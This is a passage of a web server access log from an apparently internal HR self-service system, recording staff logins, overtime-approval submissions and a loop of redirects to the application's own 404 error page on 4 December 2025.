x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" 100.64.0.1 - - [04/Dec/2025:14:26:07 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:14:26:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://222.92.19.198:8088/" "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" 100.64.0.1 - - [04/Dec/2025:14:26:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.139.16 - - [04/Dec/2025:14:37:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 56643 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:37:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 56643 192.168.139.16 - - [04/Dec/2025:14:38:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132730%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132730&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132730%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132730&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:14:38:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:14:38:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:14:38:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [04/Dec/2025:14:38:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:14:38:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.153 - - [04/Dec/2025:14:49:43 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:49:43 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 192.168.11.153 - - [04/Dec/2025:14:49:46 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:49:46 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.153 - - [04/Dec/2025:14:49:46 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:49:46 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 192.168.11.153 - - [04/Dec/2025:14:49:47 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:49:47 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.153 - - [04/Dec/2025:14:53:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 49848 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:14:53:10 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 49848 192.168.11.153 - - [04/Dec/2025:14:53:21 +0800] "POST 